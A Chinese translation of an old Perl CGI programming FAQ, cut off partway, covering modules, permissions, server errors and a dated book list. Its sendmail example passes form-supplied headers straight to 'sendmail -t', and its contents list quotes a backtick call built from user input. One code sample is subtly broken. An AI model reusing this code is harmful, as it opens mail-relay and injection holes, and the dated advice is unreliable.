Perl CGI 编程常见问题
文体说明:
1.
译者已就原文中语焉不详、资讯过时,或可作额外补充之处附加注解。这些注解
均以星号 (*) 於适当处(通常为句尾)标示。实际的说明文字则大多紧邻星号
所在的段落,自成一段。所有注解文字均以「【译者】」起头。
2. 范例中的 Perl 程式码已由译者适度加以翻译、去除多馀的括弧,并依
perlstyle manpages 中所建议的写作格式及习惯稍作修整。
---------------------------------------------------------------------------
目录:
1.0 -入门简介
Q1.1: 为什麽我的 HTML page/form 需要用 script?
Q1.2: CGI 各代表什麽?
Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
2.0 - Modules (模组)
Q2.1: 我是不是该用 Perl CGI modules 来写 CGI scripts
?自己做不是比较容
易吗?
Q2.2: 如何知道某个 module 该怎麽个用法?
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented
(物件导向)
的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物
件导向的人使用的 libraries 吗?物件导向有多难?
3.0 - CGI 与 WWW Server
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin
这个目录是做甚麽用的?
Q3.2: 什麽是档案使用权限?怎样改?
Q3.3: Perl 应该安装在哪里才可以执行它?
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
Q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open() 的指令失败
了。到底是怎麽搞的?
4.0 -程式设计疑难杂症
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
`` URL'',这样 user 填入的资料就可以寄给我了?
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、
Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?
能不能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在
Windows/Mac 上做。我要如何在我自己的机器上测试写好的 CGI scripts
?
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN
(标准输入),和
STDOUT (标准输出)各是连到何处?
Q4.5: 如何写计数器?
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除?
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?
Q4.8: 人家看得到我的 Perl CGI
程式吗?如果是这样的话,那不就让他们知道
我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?
Q4.10:
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一
个 TYPE="password" 不是就是拿来做这个的吗?
Q4.11: 我要如何产生专门替 Netscape
设计的网页,以别於世上其他的浏览器?
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?
Q4.13: 我听说 Netscape 会支援 Java。这是不是说我现在得弃 Perl,改Java
了?是不是该这麽做?
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)?
Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行?
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form?
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?
Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式?
Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽
做?
Q4.22: 那些 server 回应码 (server response codes)
是干什麽用的?有什麽意
义?
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不
work?又为什
麽它只 work 一次,但随後的转向就都弄错了呢?
Q4.24: 要如何让 server 在每个 HTML
网页的底部都自动加上一个:「最近更新
日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程
式的日期要如何取得?
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell
就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的
事不是好得多吗?那用 C 呢?
5.0 -安全
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全?
Q5.2: 我该特别留意哪些安全事项?
Q5.3: 为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样
很危险?会有多糟?
Q5.4: 要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做:
@ans = `grep'$user_field' some.file`; 是不是真的不安全?
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
---------------------------------------------------------------------------
1.0 -入门简介
---------------------------------------------------------------------------
Q1.1: 为什麽我的 HTML page/form 需要用 script?
因为有的时候您需要在 HTML
文件中使用动态资料(非固定不变的资料)。这包括了
日期和时间这类的简单资料,或是一个显示「您是第 xxx
位访客」的计数器。但它
也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产生的结果,或动
画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts
(尽管您
也可以应用客户端程式,如 Java 和 JavaScript
来达到这个目的,不过那又是完全
不同的一回事!)。
---------------------------------------------------------------------------
Q1.2: CGI 各代表什麽?
以下是我的编辑* Andy Oram (<http://jasper.ora.com/andyo>) 和 Linda Mui
(<http://pcnt1.ora.com>) (他们很棒!)所写的一段非常好的描述:
【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming
on the World Wide Web (<http://www.ora.com/info/cgi/>) 一书的编
辑。
Common 向您确保 CGI 可以使用多种程式语言并和多种
不同的系统互动。它让您自由选择达到目的的方
法,不把您绑死在单独一种作法之下*。
Gateway 提示您 CGI 的力量不在於它本身所做的事,而
在於它提供了连结其他系统的潜力,例如资料库
和图形制造器。
Interface 只是表示 CGI 对如何善用其特性提供了明确的
界定-换句话说,您可以设计程式来适当利用这
个介面。
【译者】似乎有影射 Java 之意。
---------------------------------------------------------------------------
Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
简单的说,script
就是程式!好吧、好吧,应该说二者有语意上的差别。如果您真
的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 :-)
)。
您可以藉著写 CGI 程式/script
变很多魔术。您可以即时制作图形、连结资料库传
回【查询】结果,还可以连到 Internet 上其他的 servers 去。
---------------------------------------------------------------------------
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
答案就在 perl manpage 中的前三行叙述:
Perl 是一解译式的语言,专为高效率检视文字档案、从中抽取资料,据
以印制报表而设计。
绝大多数 CGI
应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。
Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。
---------------------------------------------------------------------------
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?
* NCSA 的 CGI 文件 (<http://hoohoo.ncsa.uiuc.edu/cgi>)
* Forms 入门指引
(<http://robot0.ge.uiuc.edu/~carlosp/cs317/ft.4-5.html>)
* 许多 CGI 资源结点
(<http://www.cs.oberlin.edu/students/thirdstream/paxtond/cgi_stuff.html>)
* 原始的 CGI FAQ (<http://www.best.com/~hedlund/cgi-faq>)
* Perl FAQ (<http://mox.perl.com/perl/faq/index.html>)
* 由 Lincoln Stein 所著,一份很完整的WWW 及 CGI 操作安全 FAQ
(<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>)
* Paul Phillips 所著,CGI 安全 FAQ
(<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>)
* WWW FAQ (<http://boutell.com/faq/>)
【译者】此份 FAQ 的中译版可在
http://www.acer.net/document/cwwwfaq/
(<http://www.acer.net/document/cwwwfaq/>) 处取得。
以下是由 Cye H. Waldman (<http://wwwiz.com/books/cgi-perl.html>)
所整理的
CGI 和 Perl 书籍一览表*:
【译者】此表由译者更新,同时加入了原文作者 Tom C. 的 Perl 书评
(<http://www.perl.com/perl/critiques/>)以供读者参考。请注意:CGI
各书的等级评定乃单就其 Perl 部份的水准及正确性而言。符号说明:
(Tom C. 用骆驼而非星星)
五颗星(****
*) ==> 很棒的书 (terrific books)
四颗星(***
*) ==> 不错的书 (fine books)
三颗星(***) ==> 像样的书 (decent books)
两颗星(**) ==> 马马虎虎、勉强过得去的书 (so-so
books)
一颗星(*) ==> 差劲的书 (poor books)
零颗星(0*) ==> 大烂书 (terrible books)
NA ==> 不适用、无书评 (Not
Applicable/Available)
v4 ==> 内容较老旧,仅含盖 Perl4
-----------------------------------------------------------------------------
+---------------------------------------------------------------------------+
作者 书名 评价 出版者 所附
售价
软体
(美金)
+---------------------------------------------------------------------------+
Effective Perl
Programming: 60 Methods
Joseph Hall and Rules for Scripting NA Addison-Wesley □
$30
Better Programs
(预定出版日期:1997年1
月)
+---------------------------------------------------------------------------+
Perl Developer's Toolkit
Jon Orwant (预定出版日期:1997年1 NA Advice Press □
$??
月)
+---------------------------------------------------------------------------+
Cgi Programming For
?? Dummies NA IDG Books □
$25
(预定出版日期:1997年1
月)
+---------------------------------------------------------------------------+
Mastering Regular
Expressions: Powerful
Jeffrey Friedl Techniques for Perl and NA O'Reilly □
$30
Other Tools
(预定出版日期:1997年1
月)
+---------------------------------------------------------------------------+
CGI Developer's Resource
J.M. Ivler (预定出版日期:1997年3 NA Prentice Hall 光
$45
月)碟
+---------------------------------------------------------------------------+
Perl 5 Windows NT
Various Programming
authors (预定出版日期:1997年1 NA New Riders □
$45
月)
+---------------------------------------------------------------------------+
Teach Yourself CGI
Eric Herrmann Programming with Perl 5 NA Sams.net 光
$40
in a Week, 2nd Ed. 碟
+---------------------------------------------------------------------------+
CGI: Internet
Mark Felton Programming C++ & C NA Prentice Hall □
$??
(预定出版日期:1997年3
月)
+---------------------------------------------------------------------------+
CGI Bible
Ed Tittle (预定出版日期:1996年11 NA IDG Books □
$??
月)
+---------------------------------------------------------------------------+
Craig Patchett The CGI Cookbook: Perl
& and JavaScript NA Wiley 光
$40
Matt Wright (预定出版日期:1996年11 碟
月)
+---------------------------------------------------------------------------+
Drag-n-Drop CGI
Baron Weil (预定出版日期:1997年1 NA Addison-Wesley □
$??
月)
+---------------------------------------------------------------------------+
Stephen Lines How To Program CGI with NA Ziff-Davis 光
$40
Perl 5.0 碟
+---------------------------------------------------------------------------+
CGI Programming for
Bob Denny et Windows 磁
al. (预定出版日期:1997年3 NA O'Reilly 片
$30
月)
+---------------------------------------------------------------------------+
Selena Sol &
Gunther Instant Web Scripts with NA MIS:Press/M&T 光
$40
Birznieks CGI/Perl Books 碟
+---------------------------------------------------------------------------+
Perl For Dummies
?? (预定出版日期:1996年10 NA IDG Books □
$25
月)
+---------------------------------------------------------------------------+
Steven E. CGI Web Scripting With
Brenner & Perl NA MIS:Press/M&T 光
$40
Edwin Aoki (出版取消) Books 碟
+---------------------------------------------------------------------------+
?? Perl & CGI Programming NA Sams.net □
$45
Starter Kit
+---------------------------------------------------------------------------+
Mohammed J. CGI Primer Plus for 光
Kabir Windows NA Waite 碟
$45
+---------------------------------------------------------------------------+
Foundations of WWW
Ed Tittel et Programming with HTML 光
al. and CGI, 2nd Ed. NA IDG Books 碟
$??
(预定出版日期:1996年10
月)
+---------------------------------------------------------------------------+
Jerry Muelver Creating Cool Web Pages ** IDG Books 光
$30
With Perl 碟
+---------------------------------------------------------------------------+
HTML & CGI Unleashed,
John December Professional Reference NA Sams.net 光
$50
Edition 碟
+---------------------------------------------------------------------------+
Cross-Platform Perl
(See also the author's
Eric Johnson book site.) ** MIS:Press/M&T 光
$35
(预定出版日期:1996年9 ** Books 碟
月)
+---------------------------------------------------------------------------+
Daniel Berlin CGI Programming
et al. Unleashed NA Sams.net □
$55
+---------------------------------------------------------------------------+
Web Client Programming
Clinton Wong in Perl NA O'Reilly □
$30
(预定出版日期:1997年3
月)
+---------------------------------------------------------------------------+
Perl 5
Robert Seymour (预定出版日期:1996年10 NA Springer-Verlag □
$40
月)
+---------------------------------------------------------------------------+
M□he□ □
Foghl□ Perl 5 Quick Reference * Que □
$20
+---------------------------------------------------------------------------+
Robert Niles & 光
Jeffry Dwight CGI by Example NA Que 碟
$35
+---------------------------------------------------------------------------+
PC Magazine Programming
Jonathan Hagey Perl 5.0 CGI Web Pages 0* Ziff-Davis 光
$35
for Microsoft Windows NT 碟
+---------------------------------------------------------------------------+
Web Programming with
?? Perl NA Sams.net 光
$40
(预定出版日期:1996年8 碟
月)
+---------------------------------------------------------------------------+
Perl 5 Developer's Guide
?? (预定出版日期:1996年12 NA Sams 光
$60
月)碟
+---------------------------------------------------------------------------+
David Medinets Perl 5 by Example ** Que 光
$35
+1/2 碟
+---------------------------------------------------------------------------+
Stephen Asbury 光
et al. CGI How-To NA Waite 碟
$40
+---------------------------------------------------------------------------+
Visual Basic Internet
Carl Franklin Programming NA Wiley 光
$40
(预定出版日期:1996年5 碟
月)
+---------------------------------------------------------------------------+
InfoMagic Mother of Perl NA SSC 光
$35
(一套两张光碟)碟
+---------------------------------------------------------------------------+
Larry Wall et Programming Perl, 2nd **
al. Ed. ** O'Reilly □
$40
*
+---------------------------------------------------------------------------+
CGI Developer's Guide
Eugene Kim (预定出版日期:1996年5 ** Sams.net 光
$50
月)碟
+---------------------------------------------------------------------------+
Robert CGI Manual of Style
McDaniel (可自线上取得) NA Ziff-Davis □
$25
+---------------------------------------------------------------------------+
?? Perl 5 for Dummies NA IDG Books 光
$??
(预定出版日期:1996年)碟
+---------------------------------------------------------------------------+
Developing Internet
Ginsburg & Applications with Perl
Tall (预定出版日期:1996年3 NA Sams.net □
$??
月)
+---------------------------------------------------------------------------+
Kamran Husain Perl 5 Unleashed * Sams 光
$50
碟
+---------------------------------------------------------------------------+
Teach Yourself Perl 5,
Norton 2nd Edition NA Sams 光
$??
(预定出版日期:1996年6 碟
月)
+---------------------------------------------------------------------------+
Michael Erwin Special Edition Using
et al. CGI NA Que □
$60
+---------------------------------------------------------------------------+
Thomas Boutell CGI Programming in C and ** Addison-Wesley 光
$35
Perl **碟
+---------------------------------------------------------------------------+
Perl 5 Desktop Reference
Johan Vromans (可自 CPAN 下载原始码自 NA O'Reilly □
$7
行印制)
+---------------------------------------------------------------------------+
Christian The Webmaster's
Neuss & Handbook: Perl Power for NA Int'l Thomson 光
$30
Johan Vromans Your Web Server 碟
+---------------------------------------------------------------------------+
William E. 光
Weinman The CGI Book NA New Riders 碟
$45
+---------------------------------------------------------------------------+
World Wide Web Database
Brian Jepson Programming for Windows NA Wiley 光
$40
NT 碟
+---------------------------------------------------------------------------+
Steven E. **
Brenner & Introduction to CGI/ * MIS:Press/M&T □
$20
Edwin Aoki Perl (v4) Books
+---------------------------------------------------------------------------+
Ed Tittel & Perl 5 Programming
Sebastion Secrets NA IDG Books 光
$45
Hassinger (预定出版日期:1996年3 碟
月)
+---------------------------------------------------------------------------+
David Harlan Special Edition Using
et al. Perl 5 for Web ** Que □
$50
Programming
+---------------------------------------------------------------------------+
Shishir CGI Programming on the 光
Gundavaram World Wide Web ** O'Reilly 碟
$30
+---------------------------------------------------------------------------+
The Official 60 Minute **
Robert Farrel Guide to CGI Programming * IDG Books □
$20
with Perl (v4)
+---------------------------------------------------------------------------+
Ed Tittel &
Sebastion Web Programming Secrets NA IDG Books 光
$45
Hassinger with HTML, CGI & Perl 碟
+---------------------------------------------------------------------------+
John Deep &
Peter Developing CGI ** Wiley □
$30
Holfelder Applications with Perl (v4)
+---------------------------------------------------------------------------+
Jon Orwant Perl 5 Interactive ** Waite 光
$50
Course *碟
+---------------------------------------------------------------------------+
Aidan
Humphreys et Perl 5 How-To ** Waite 光
$45
al. *碟
+---------------------------------------------------------------------------+
Teach Yourself CGI **
Eric Herrmann Programming with Perl in * Sams.net 光
$40
a Week (v4) 碟
+---------------------------------------------------------------------------+
Perl
Walnut Creek (收录各类资源、档案库、 NA Walnut Creek 光
$40
入门指导、实例、source 碟
code 等)
+---------------------------------------------------------------------------+
Software Engineering
Carl Dichter & with Perl 磁
Mark Pease (进阶级,内容针对软体专* Prentice Hall 片
$30
业人仕设计;非入门指引)
+---------------------------------------------------------------------------+
**
Ellie Quigley Perl by Example * Prentice Hall □
$27
(v4)
+---------------------------------------------------------------------------+
John December
& HTML & CGI Unleashed NA Sams.net 光
$50
Mark Ginsburg 碟
+---------------------------------------------------------------------------+
David Till Teach Yourself Perl in ** Sams □
$30
21 Days (v4)
+---------------------------------------------------------------------------+
Larry Wall &
Randal L. Programming Perl NA O'Reilly □
$30
Schwartz
+---------------------------------------------------------------------------+
Randal L. **
Schwartz Learning Perl ** O'Reilly □
$25
(v4)
+---------------------------------------------------------------------------+
Ed Tittel et Foundations of WWW 光
al. Programming with HTML NA IDG Books 碟
$40
and CGI
+---------------------------------------------------------------------------+
How To Set Up and
Maintain a World Wide
Lincoln Stein Web Site, 2nd Edition ** Addison-Wesley 光
$55
(预定出版日期:1997年1 **碟
月)
+---------------------------------------------------------------------------+
-----------------------------------------------------------------------------
【译者】中文的 CGI 和 Perl 的书目则尚待好心的读者提供。
---------------------------------------------------------------------------
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
每天有无数的 CGI 高手在「监视」著这个很有用的新闻讨论群组:
comp.infosystems.www.authoring.cgi*。
【译者】中文的讨论群中最适合做这方面的讨论的大概要算是
tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到
comp.lang.perl.misc 上头去,别说译者没先警告您喔 ;-) 。
但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post
问题
(或其他任何版子;同样的道理)。
网路上有各式各样讨论 Perl、CGI,及 Web 的邮递论坛
(<http://perl.com/perl/info/mailing-lists.html>),但以底下这两个最受欢迎:
cgi-perl-[email protected] 【Hypermail 档案库】
(<http://www.webstorm.com/local/cgi-perl>)
这个论坛是给发展 Perl5 CGI
模组、或对此有兴趣的人用的。它并不提供任
何 CGI 支援*。
【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这
可能是由於讨论的主题-CGI::* 模组套件(详见以下第二篇
「Modules (模组)」的说明)已经有好一段时间没有更新了。模
组的维护人 Lincoln Stein 近一年多来似乎都将重心放在他的
CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者如
对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules
上头去。
libwww-[email protected] 【Hypermail 档案库】
(<http://www.ics.uci.edu/WebSoft/libwww-perl/archive>)
libwww-perl 这个 library 套件为 Web
客户及伺服程式设计提供了一套简便的
介面*。
【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是
一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww
(<http://www.w3.org/pub/WWW/Library/>) 的计画(後者用的是 C
)。
您可以在:
http://www.ics.uci.edu/pub/websoft/libwww-perl
(<http://www.ics.uci.edu/pub/websoft/libwww-perl>)取得旧的
(Perl4)
libwww-perl 的相关资料。
最新的 Perl5 libwww 套件可在:
http://www.sn.no/~libwww-perl/ (<http://www.sn.no/libwww-perl/>)
处取
得。
CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN
(<http://www.perl.com/CPAN/README.html>)
系统取得。这会自动替您选择一个「
靠近您的站
(<http://www.perl.com/perl/news/cpan-mux.html>)」。譬如说,您可
以抓 LWP 模组的 source (<http://perl.com/cgi-bin/cpan_mod?module=LWP>)
或只
抓它的 readme
(<http://perl.com/cgi-bin/cpan_mod?module=LWP&readme=1>)。
---------------------------------------------------------------------------
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
是的,您可以试试 The Usenet Newstand
(<http://CriticalMass.com/Concord/>)。
所有comp.infosystems.www.* 讨论群组的文章都收集在那儿*。同时,cgi-perl
及
libwww 这两个邮递论坛他们也有收集。
【译者】您同时可以试试 DejaNews (<http://www.dejanews.com/>) 、
AltaVista (<http://www.altavista.digital.com/>) ,和 HotBot
(<http://www.hotbot.com/>) 这几个搜寻引擎/资料库。 DejaNews
(<http://www.dejanews.com/>) 甚至连 tw.bbs.* 都收集(其他两个或
许也有,但译者没试过)。
---------------------------------------------------------------------------
2.0 - Modules (模组)
---------------------------------------------------------------------------
Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts
?自己做不是比较容易
吗?
【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见
Q2.4 。
这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts
。如果
是简单的 scripts 的话,自己做或者是用 CGI Lite
这个模组会简便许多。如果您
真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。
【译注】作者 Tom C. 之所以这麽说是因为他基本上不赞成使用
cgi-lib.pl ,有兴趣的读者可以看他写的 Why I am not fond of
cgi-lib.pl (<http://www.perl.com/perl/info/www/!cgi-lib.html>)
(为什麽我不欣赏 cgi-lib.pl )。
---------------------------------------------------------------------------
Q2.2: 如何知道某个 module 该怎麽个用法?
大多数 modules 的使用说明是直接嵌在程式里的*。如果是这样的话,您可以用
pod2man 这个 script 来阅读使用指南:
% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more
【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便
是显示使用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old
Document) 格式。详见 perlpod manpages。
---------------------------------------------------------------------------
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl
(<http://www.bio.cam.ac.uk/web/form.html>)。
---------------------------------------------------------------------------
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?
CGI.pm
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGI.pm.tar.gz>)*
这个很棒的 module 在功能上和部分 CGI::* modules
相重叠。如果您不想和多
重 modules
打交道的话,您可以只用这一个。我们等一下在後头会给您看一个
用 CGI.pm 来替 CGI scripts 除错的实例。
此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web
和
CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web
Site
(<http://www.aw.com/cp/Stein2e.html>)。
【译者】建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没
有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对
FastCGI (<http://www.fastcgi.com/>) 的支援,因此对 FastCGI
的使用者也相当方便。此外,mod_perl
(<http://www.osf.org/~dougm/apache/>) (Apache
(<http://www.apache.org/>) 的 perl module)中所附的 CGI::XA
,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资
料处理(如印 HTTP 标头、替 form, cookies 资料解码等)的麻
烦。
CGI::* 模组套件
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGIperl/>)
这些模组原先大多是由 Tim Bunce 所写,现在则由 Lincoln Stein
来负责维
护。它们的功能包括了帮您产生及处理 form ,替 CGI
程式除错,以及在不同
的 forms 之间维系一个状态值。
CGI Lite
(<http://dongpo.math.ncu.edu.tw/perl/CPAN/authors/id/SHGUN/CGI_Lite-1.62.pm.gz>)
这个轻量级的 module 是 CGI::* modules
之外的另一个选择。它可算是在老旧
的 cgi-lib.pl (<http://www.bio.cam.ac.uk/web/form.html>)
之上改良、加
料後的产物。
以上三者均有能力处理 multipart form 资料(即上传)。
---------------------------------------------------------------------------
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented
(物件导向)的?
我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用
的 libraries 吗?物件导向有多难?
其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy
Intro
to Using Perl Objects
(<http://perl.com/perl/everything_to_know/easy_objects.html>)
(简单介绍如
何使用 Perl 物件)吧。
前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出
form
资料的实例*:
【译者】CGI.pm 的使用说明
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/>)中有更多范
例可供参考。
#!/usr/local/bin/perl -w
use CGI_Lite;
$cgi = new CGI_Lite;
%data = $cgi->parse_form_data;
print "Content-type: text/plain", "\n\n";
foreach $key (keys %data) {
print $key, " = ", $data{$key}, "\n";
}
exit 0;
要注意的是,即使您机器上的 Perl
不是您装的(您不是系统管理者),或是您权限
不够无法将这些 modules 和其他的 Perl library
档案安装在同一个地方,您还是
可以使用这些 modules 的 --
只要将它们摆在一个自己方便的地方,然後在您的
script 开始处加上*:
BEGIN {
unshift @INC, "/your/dir/favorite/place";
}
【译者】建议改用较新的方式:
use lib qw(/your/dir/favorite/place);
好。以下是一个用到 CGI::* modules 的例子:
#!/usr/local/bin/perl -w
use CGI::Form;
$cgi_form = new CGI::Form;
print <<'End_of_Header';
<HTML>
<HEAD><TITLE>看著我做!</TITLE></HEAD>
<BODY>
<H1>看著我做!</H1>
End_of_Header
print $form->startform;
## 产生一个单行输入栏位 (text field)
print '姓名: ';
print $form->textfield('name'), "<BR>\n";
## 产生一组单选按纽 (radio buttons)
print '<P>您住哪儿: <BR>';
print $form->radio_group(-name => 'where',
-values => ['北美洲',
'南美洲',
'欧洲',
'澳洲',
'亚洲',
'南极洲'],
-default => '北美洲',
-linebreak => 'true');
## 产生一个多行输入栏位 (textarea)
print '意见: ';
print $form->textarea('comments', undef, 5, 40);
print "<P>";
print $form->reset;
print $form->defaults;
print $form->submit('送出!', 'Submit');
print $form->endform;
print "</BODY></HTML>";
reset、defaults,及submit三种方法( methods )
会产生不同的类型的按钮。reset
这个按钮让您把目前 form
栏位中所填的资料洗掉,并显示属於上一个状态(或回
合)的资料。 defaults 这个按钮则是将form 栏位资料彻底洗去。还有 submit
这
个方法产生一个送出钮以便让人将资料送至 server 处。
您看,不是很容易吗?
3.0 - CGI 与 WWW Server
---------------------------------------------------------------------------
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?
server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过,
server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如
..cgi
、.pl)的 scripts 都能执行*。
【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注
意到相关的安全问题。
---------------------------------------------------------------------------
Q3.2: 什麽是档案使用权限?怎样改?
档案权限是根据使用者识别代号(又称
uid),以及他们所属的团体来决定是否赋与
使用者读、写,和执行某档案的权利。您可使用 chmod
这个指令去修改档案的使用
权限。例如:
% ls -ls form.cgi
1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi*
此一档案的权限为
0700(八进制),意味著没有人(档案所有人除外)能够读取、
写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权限:
% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi*
这样一来,权限就变了。现在和 ``shishir''
在同一个团体的使用者,还有其他任
何的使用者都有权利去读取和执行这个档案了。
如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod
manpages的说明。
---------------------------------------------------------------------------
Q3.3: Perl 应该安装在哪里才可以执行它?
Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server
不能在chroot 的
环境下跑,否则它便无法跑 perl
解译器。换言之,系统管理者可以把根目录改变,
让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。
---------------------------------------------------------------------------
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
以下几种情形会触发这个错误讯息:
* 如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到
Perl 解
译器的标头,或者是指到解译器(或 library 档)的路径错误。
* 如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type:
text/html'' ),或者是该标头後面没有跟著一个空行。
* 如果您的 script 有句法上的错误。您的 scripts
都应在指令列先跑跑看才
是。
---------------------------------------------------------------------------
Q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open()
的指令失败了。到
底是怎麽搞的?
一般说来,HTTP server 是以
``nobody''、``www'',或其他这类权限低的使用者的
身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server
跑的使用
者 ID 必须要是可写(writable)才行。
为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return
status
),看看 open 有没有成功。
open(FILE, "/abc/data.txt")
|| error("Could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;
print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error
<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>
End_of_Error
}
4.0 -程式设计疑难杂症
---------------------------------------------------------------------------
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
其实做这个很容易。您的 CGI script 必须能做到这两件事:
1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被
URL-编码起来
(先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart
MIME资料)。
2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form
资料写过去。
我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
